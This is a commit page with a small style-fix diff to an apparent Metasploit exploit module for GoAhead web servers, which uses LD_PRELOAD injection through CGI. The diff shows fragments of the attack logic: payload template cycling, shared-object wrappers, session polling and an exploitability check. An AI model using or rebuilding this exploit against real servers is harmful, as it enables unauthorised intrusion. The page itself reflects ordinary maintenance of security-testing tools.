Skip to content

Commit ece5528

Browse files
committed
Small tweaks based on @bcoles feedback. Thanks!
1 parent 54159c2 commit ece5528

File tree

1 file changed

+5
-5
lines changed

1 file changed

+5
-5
lines changed

modules/exploits/linux/http/goahead_ldpreload.rb

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -174,7 +174,7 @@ def cycle_possible_payloads
174174
end
175175
end
176176

177-
# Remove any duplicates that mau have snuck in
177+
# Remove any duplicates that may have snuck in
178178
template_list.uniq!
179179

180180
# Cycle through each top-level platform we know about
@@ -185,7 +185,7 @@ def cycle_possible_payloads
185185

186186

187187
wrapper_path = ::File.join(template_base, "goahead-cgi-#{template_type}-#{t_plat}-#{t_arch}.so.gz")
188-
if ! ::File.exists?(wrapper_path)
188+
unless ::File.exist?(wrapper_path)
189189
raise RuntimeError.new("Missing executable template at #{wrapper_path}")
190190
end
191191

@@ -217,7 +217,7 @@ def cycle_possible_payloads
217217
yield(data)
218218

219219
# Introduce a small delay for the payload to stage
220-
sleep(0.50)
220+
Rex.sleep(0.50)
221221

222222
# Short-circuit once we have a session
223223
return if session_created?
@@ -378,14 +378,14 @@ def is_cgi_exploitable?(uri)
378378
vprint_status("Request for #{uri} did not return a response")
379379
end
380380

381-
!!(res && res.body && res.body.to_s.index("LD_DEBUG_OUTPUT"))
381+
!!(res && res.body && res.body.to_s.include?("LD_DEBUG_OUTPUT"))
382382
end
383383

384384
# This sometimes determines if the CGI module is enabled, but doesn't seem
385385
# to return the error to the client in newer versions. Unused for now.
386386
def is_cgi_enabled?
387387
return true
388388
res = send_request_cgi({'uri' => "/cgi-bin"})
389-
!!(res && res.body && res.body.to_s.index("Missing CGI name"))
389+
!!(res && res.body && res.body.to_s.include?("Missing CGI name"))
390390
end
391391
end

0 commit comments

Comments
 (0)